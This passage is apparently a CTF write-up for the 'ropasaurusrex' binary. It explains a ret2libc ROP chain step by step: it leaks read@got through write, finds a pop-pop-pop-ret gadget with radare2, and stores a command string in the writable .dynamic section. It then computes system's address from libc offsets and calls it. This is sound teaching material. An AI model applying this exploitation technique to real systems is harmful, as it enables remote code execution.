To leak a libc address we’ll want to read from the GOT entry of a known libc function. We can see that read is in the GOT at 0x804961c. Write is done as such.

1
ssize_t write(int fildes, const void *buf, size_t nbyte);

So something like this is what we want.

1
write(1 /*stdout*/, 0x804961c /*read@got*/, 4 /*size to read*/);

But then, how do we clean up the stack to go to our next function which is to write our command? We need to pop 3 items off of the stack, and set the return address to read. So first, let’s find how to pop off the stack. r2 has some great rop gadget search tools, so we need to find gadgets that do the following.

1
2
3
4
pop ?
pop ?
pop ?
ret

Where ? can be any register, we don’t really care. This cleans up the stack and gets us to the next return address. We can use the /R command for finding gadgets.

1
[0x08048440]> /R  pop,pop,pop,ret

r2 gives us back a bunch of example gadgets. I see one here which looks nice.

1
2
3
4
  0x080484b6           5e  pop esi
  0x080484b7           5f  pop edi
  0x080484b8           5d  pop ebp
  0x080484b9           c3  ret

I’ll refer to this as “pppr” for poppoppopret. So, stage 1 of our payload can look like this

1
2
3
4
5
6
7
8
9
STAGE 1
--frame_1--
[write@plt]
[pppr     ] // return address
[1        ]
[read@got ]
[4        ]
--frame_2--
[??       ]

Next, we need to find a place to write our command string to system. We can use the read function to do that. Read looks like this

1
ssize_t read(int fd, void *buf, size_t count);```

So let’s do

1
read(0 /*stdin*/, target, length of command);

We now need a place to read the string to. ELF has different sections, with different permissions. Some are read only, write only, execute only, or any combination of the three! rabin2 lets us see the secitions and find the permissions and sizes of each, so we can tell where to write to. Imgur Perfect! there are plenty of sections. Generally I like to write to the .bss section, but this is only size 8, which would limit our command. So let’s pick the .dynamic section. It is size 208, and we can write to it.

1
idx=20 vaddr=0x08049530 paddr=0x00000530 sz=208 vsz=208 perm=-rw- name=.dynamic

We’ll reuse the same pppr gadget, because write has the same number of args. So now our rop chain can be. I’ll call 0x08049530 writeaddr, and len(cmd) the length of our command. So this now leaks the libc address of read. Then calls read from stdin to a memory address that we can write to. Then we need to return to our vulnerable function to then execute the system address that we calculate.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
STAGE 1
--frame_1--
[write@plt]
[pppr     ] // return address
[1        ]
[read@got ]
[4        ]
--frame_2--
[read@plt ]
[pppr     ]
[0        ]
[writeaddr]
[len(cmd) ]
--frame_3--
[vuln_func]

In my libc, we can find the offsets of read and system. Because we leak the libc address of read, we can compute where system is by doing the following math.

1
2
offset = libc_read - libc_system
sys_addr = leaked_read_addr - offset

I get the following addresses, using gdb instead of r2, because I dont know how to do this quickly in r2 ;)

1
2
3
4
5
6
minishwoods old/ropasaurusrex » gdb -q /lib/i386-linux-gnu/libc.so.6
Reading symbols from /lib/i386-linux-gnu/libc.so.6...(no debugging symbols found)...done.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x40100 <system>
gdb-peda$ p read
$2 = {<text variable, no debug info>} 0xdb4b0 <read>

Now all that is left is to do the same stack smash, then call system. System looks like this

1
int system(const char *command);

So we just want

1
system(0x08049530 /*address of the string we wrote*/);

Then were done! Stage 2 of the rop can be like this

1
2
3
4
5
STAGE 2
--frame_1--
[system   ]
[JUNK     ] //can be any 4 bytes, we dont care once we execute system()
[writeaddr]

Put it all together in a neat exploit like this https://gist.github.com/48bcb49cb71f96b98367 and were all done!